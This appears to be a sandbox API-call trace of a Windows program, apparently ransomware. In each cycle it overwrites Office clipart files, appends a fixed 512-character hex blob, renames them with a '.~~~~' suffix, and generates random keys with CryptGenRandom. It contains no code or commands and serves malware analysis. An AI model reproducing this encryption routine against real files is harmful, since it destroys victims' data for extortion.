	[0106.893] GetLastError () returned 0x0
	[0106.893] GetLastError () returned 0x0
	[0106.896] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffef772, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.896] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0x1088e, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0x1088e, lpOverlapped=0x0) returned 1
	[0106.898] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.898] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.898] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.898] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.898] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.898] CloseHandle (hObject=0x138) returned 1
	[0106.898] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a2350
	[0106.899] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296279.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296279.wmf.~~~~")) returned 1
	[0106.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.900] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.900] GetLastError () returned 0x0
	[0106.901] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0106.902] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0106.902] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0106.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0106.902] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22689211382) returned 1
	[0106.902] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa96591b0, dwHighDateTime=0x1d60e1e)) 
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x286df30
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0106.902] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x286df30 | out: hHeap=0x300000) returned 1
	[0106.902] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0106.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0106.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a2350
	[0106.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0106.903] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874a30
	[0106.903] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a2350 | out: hHeap=0x300000) returned 1
	[0106.903] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0106.903] GetLastError () returned 0x0
	[0106.903] GetLastError () returned 0x0
	[0106.903] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0106.903] GetLastError () returned 0x0
	[0106.904] GetLastError () returned 0x0
	[0106.946] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffef814, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.946] WriteFile (in: hFile=0x138, lpBuffer=0x29c1090*, nNumberOfBytesToWrite=0x107ec, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29c1090*, lpNumberOfBytesWritten=0x24dfec0*=0x107ec, lpOverlapped=0x0) returned 1
	[0106.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29c1090 | out: hHeap=0x300000) returned 1
	[0106.947] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.947] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0106.947] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0106.947] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0106.947] CloseHandle (hObject=0x138) returned 1
	[0106.967] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2897d90
	[0106.967] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0296288.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0296288.wmf.~~~~")) returned 1
	[0106.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2897d90 | out: hHeap=0x300000) returned 1
	[0106.993] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0106.993] GetLastError () returned 0x0
	[0106.999] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.001] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.001] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.001] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22699103086) returned 1
	[0107.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa973d9f0, dwHighDateTime=0x1d60e1e)) 
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x28c1a28
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28c1a28 | out: hHeap=0x300000) returned 1
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.001] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a27e8
	[0107.001] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.002] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2874ac8
	[0107.002] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
	[0107.002] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.002] GetLastError () returned 0x0
	[0107.002] GetLastError () returned 0x0
	[0107.002] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.002] GetLastError () returned 0x0
	[0107.002] GetLastError () returned 0x0
	[0107.005] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb5a6, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.005] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x4a5a, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x4a5a, lpOverlapped=0x0) returned 1
	[0107.006] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.006] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.006] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.006] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.006] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.006] CloseHandle (hObject=0x138) returned 1
	[0107.007] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a27e8
	[0107.007] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301418.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301418.wmf.~~~~")) returned 1
	[0107.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
	[0107.008] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.008] GetLastError () returned 0x0
	[0107.008] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.032] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.032] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.032] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.032] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.033] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22702273528) returned 1
	[0107.033] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa9789cb0, dwHighDateTime=0x1d60e1e)) 
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6048
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6048 | out: hHeap=0x300000) returned 1
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a27e8
	[0107.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.033] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x28751e8
	[0107.033] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
	[0107.034] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.034] GetLastError () returned 0x0
	[0107.034] GetLastError () returned 0x0
	[0107.034] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.034] GetLastError () returned 0x0
	[0107.034] GetLastError () returned 0x0
	[0107.038] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xffffb206, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.038] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0x4dfa, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0x4dfa, lpOverlapped=0x0) returned 1
	[0107.040] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.040] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.040] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.040] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.040] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.040] CloseHandle (hObject=0x138) returned 1
	[0107.041] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a27e8
	[0107.041] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0301432.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0301432.wmf.~~~~")) returned 1
	[0107.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
	[0107.042] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.042] GetLastError () returned 0x0
	[0107.043] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.044] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.044] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.044] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.044] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22703428776) returned 1
	[0107.044] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa97afe10, dwHighDateTime=0x1d60e1e)) 
	[0107.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.044] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a6080
	[0107.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a6080 | out: hHeap=0x300000) returned 1
	[0107.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a27e8
	[0107.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.045] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875280
	[0107.045] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
	[0107.045] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x24dfb18) 
	[0107.045] GetLastError () returned 0x0
	[0107.045] GetLastError () returned 0x0
	[0107.046] RtlUnwind (TargetFrame=0x24dfc20, TargetIp=0x423f9b, ExceptionRecord=0x24df5dc, ReturnValue=0x0) 
	[0107.046] GetLastError () returned 0x0
	[0107.046] GetLastError () returned 0x0
	[0107.048] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0xfffff1e0, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0107.048] WriteFile (in: hFile=0x138, lpBuffer=0x29b8090*, nNumberOfBytesToWrite=0xe20, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x29b8090*, lpNumberOfBytesWritten=0x24dfec0*=0xe20, lpOverlapped=0x0) returned 1
	[0107.049] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x29b8090 | out: hHeap=0x300000) returned 1
	[0107.049] SetFilePointerEx (in: hFile=0x138, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0107.049] WriteFile (in: hFile=0x138, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x24dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0107.049] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0107.049] WriteFile (in: hFile=0x138, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x24dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x24dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0107.050] CloseHandle (hObject=0x138) returned 1
	[0107.050] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28a27e8
	[0107.050] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0304371.WMF.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0304371.wmf.~~~~")) returned 1
	[0107.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
	[0107.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3570e0 | out: hHeap=0x300000) returned 1
	[0107.051] GetLastError () returned 0x0
	[0107.052] CryptAcquireContextA (in: phProv=0x24dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x24dfcdc*=0x3a0048) returned 1
	[0107.053] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362c70 | out: pbBuffer=0x362c70) returned 1
	[0107.053] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0107.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362c70 | out: hHeap=0x300000) returned 1
	[0107.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0107.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0107.053] QueryPerformanceCounter (in: lpPerformanceCount=0x24dfc48 | out: lpPerformanceCount=0x24dfc48*=22704337720) returned 1
	[0107.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x24dfc88 | out: lpSystemTimeAsFileTime=0x24dfc88*(dwLowDateTime=0xa97afe10, dwHighDateTime=0x1d60e1e)) 
	[0107.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623a0
	[0107.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0107.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3570e0
	[0107.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x3a60b8
	[0107.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0107.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3a60b8 | out: hHeap=0x300000) returned 1
	[0107.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0107.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0107.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28a27e8
	[0107.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0107.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x2875318
	[0107.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28a27e8 | out: hHeap=0x300000) returned 1
